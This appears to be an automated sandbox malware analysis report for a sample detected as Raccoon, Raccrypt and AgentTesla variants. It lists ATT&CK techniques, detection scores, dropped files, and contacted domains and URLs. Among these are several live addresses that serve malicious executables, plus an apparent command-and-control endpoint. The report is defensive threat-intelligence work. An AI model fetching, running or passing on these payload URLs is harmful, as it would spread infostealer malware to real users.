Source: Yara match	File source: 0000002C.00000003.415295647.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 952.exe PID: 1068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vodibdaj.exe PID: 6484, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

30_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools311	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API54	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service4	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution3	Logon Script (Mac)	Windows Service4	Software Packing33	NTDS	System Information Discovery237	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Process Injection713	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol35	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery671	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion11	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading231	Proc Filesystem	Virtualization/Sandbox Evasion341	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion341	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection713	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
emPJndhuvA.exe	40%	Virustotal		Browse
emPJndhuvA.exe	66%	ReversingLabs	Win32.Trojan.Raccrypt
emPJndhuvA.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\13E2.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\7E61.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FD2B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\13E2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2819.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\952.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6B74.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\tiftjuh	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5F8C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\45F8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\vodibdaj.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B1F6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9054.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CA61.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3D67.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\13E2.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\13E2.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\2819.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\2819.exe	77%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\5F8C.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\5F8C.exe	81%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Roaming\tiftjuh	66%	ReversingLabs	Win32.Trojan.Raccrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
21.0.tiftjuh.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.2819.exe.2080e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.0.13E2.exe.c80000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.1.emPJndhuvA.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.tiftjuh.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.3.952.exe.5a0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
22.3.2819.exe.2090000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.2819.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.0.3D67.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.tiftjuh.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.emPJndhuvA.exe.5315a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.0.13E2.exe.c80000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.0.emPJndhuvA.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.1.3D67.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.13E2.exe.c80000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
22.2.2819.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
44.2.vodibdaj.exe.610000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
1.0.emPJndhuvA.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.2.952.exe.580e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
22.2.2819.exe.2080e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.3.FD2B.exe.5a0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
28.0.3D67.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.0.13E2.exe.c80000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.2.emPJndhuvA.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.tiftjuh.4615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.3D67.exe.4615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.FD2B.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.1.tiftjuh.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.emPJndhuvA.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
44.2.vodibdaj.exe.540e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
29.2.FD2B.exe.580e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
28.2.3D67.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.0.3D67.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
44.3.vodibdaj.exe.560000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
30.2.952.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
22.0.2819.exe.2080e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.2819.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
44.2.vodibdaj.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
21.0.tiftjuh.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.0.13E2.exe.c80000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://data-host-coin-8.com/files/4918_1642080252_3360.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
http://Passport.NET/tbpose	0%	Avira URL Cloud	safe
http://Passport.NET/tb_jz	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	100%	Avira URL Cloud	malware
http://docs.oasi	0%	Avira URL Cloud	safe
http://docs.sis-op	0%	Avira URL Cloud	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://data-host-coin-8.com/files/9006_1642091568_3496.exe	100%	Avira URL Cloud	malware
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://www.w3.or	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://passport.net/tb	0%	Avira URL Cloud	safe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://Passport.NET/STS%3C/ds:KeyName%3E%3C/ds:KeyInfo%3E%3CCipherData%3E%3CCipherValue%3ECSImQ81IxG	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
http://Passport.NET/STS09/xmldsig#ripledes-cbc90995-327840285-2659745135-2630312742	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
https://dynamic.t	0%	URL Reputation	safe
http://Passport.NET/STS09/xmldsig#ripledes-cbc48496-2624191407-3283318427-1255436723	0%	Avira URL Cloud	safe
http://Passport.NET/tbusi	0%	Avira URL Cloud	safe
http://schemas.mi	0%	URL Reputation	safe
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://Passport.NET/STS	0%	Avira URL Cloud	safe
http://schemas.microso	0%	URL Reputation	safe
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPF	0%	Avira URL Cloud	safe
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	0%	Avira URL Cloud	safe
http://dhttp://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	45.135.233.182	true	false	high
patmushta.info	194.147.84.248	true	false	high
cdn.discordapp.com	162.159.129.233	true	false	high
privacy-tools-for-you-780.com	45.135.233.182	true	false	high
microsoft-com.mail.protection.outlook.com	52.101.24.0	true	false	high
goo.su	104.21.38.221	true	false	high
transfer.sh	144.76.136.153	true	false	high
a0621298.xsph.ru	141.8.194.74	true	false	high
data-host-coin-8.com	45.135.233.182	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a0621298.xsph.ru/7.exe	false		high
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://data-host-coin-8.com/files/4918_1642080252_3360.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	true	Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/c_setup.exe	false		high
http://a0621298.xsph.ru/3.exe	false		high
http://data-host-coin-8.com/files/9006_1642091568_3496.exe	true	Avira URL Cloud: malware	unknown
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
http://a0621298.xsph.ru/442.exe	false		high
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://a0621298.xsph.ru/RMR.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdns:ws	svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000E.00000002.308663972.000002DD3284D000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307901327.000002DD32847000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600mous	svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA	svchost.exe, 0000000A.00000003.303332538.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297742770.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296055205.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302866482.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311162628.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291713284.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294135803.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302777888.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297732317.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295674651.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307752382.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297587146.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295856588.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299823856.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295834063.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297445321.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313032041.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307240286.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285191173.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313192090.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295969581.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318856067.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296120988.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312712162.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299709872.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318798282.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312493661.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313042176.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313208720.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295756392.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.292025310.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285066185.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297575730.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307165398.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300117504.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291939671.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299941137.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.618112580.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312821276.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291902751.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297407218.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303385751.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312803149.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313125037.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297961457.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285037770.00000159C290E000.00000004.00000001.sdmp	false		high
http://Passport.NET/tbpose	svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdh	svchost.exe, 0000000A.00000003.297368649.00000159C2969000.00000004.00000001.sdmp	false		high
http://Passport.NET/tb_jz	svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000E.00000002.308642618.000002DD32842000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308085043.000002DD32841000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdY	svchost.exe, 0000000A.00000003.299859114.00000159C2950000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdk	svchost.exe, 0000000A.00000003.285050178.00000159C2929000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policyccount.	svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601f	svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA	svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds	svchost.exe, 0000000A.00000003.299859114.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.380385282.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300132751.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	false		high
http://docs.oasi	svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.309439476.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307263823.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.sis-op	svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.309439476.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605(	svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600ymous	svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200	svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000E.00000002.308554216.000002DD32813000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsda	svchost.exe, 0000000A.00000003.318701895.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318361748.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318891613.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318751449.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318640163.00000159C295B000.00000004.00000001.sdmp	false		high
https://signup.live.com/signup.aspxs#	svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	13E2.exe, 00000020.00000002.447751764.0000000004021000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601t	svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000003.308051051.000002DD32856000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295929266.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	false		high
http://www.w3.or	svchost.exe, 0000000A.00000003.318768897.00000159C29B9000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318715337.00000159C29B7000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000002.00000002.640514055.000001F8DF662000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.597842757.00000159C22E3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://passport.net/tb	svchost.exe, 0000000A.00000003.301140357.00000159C30CC000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.579083943.00000159C2294000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308554216.000002DD32813000.00000004.00000001.sdmp	false		high
http://Passport.NET/STS%3C/ds:KeyName%3E%3C/ds:KeyInfo%3E%3CCipherData%3E%3CCipherValue%3ECSImQ81IxG	svchost.exe, 0000000A.00000002.597842757.00000159C22E3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-h	svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	false		high
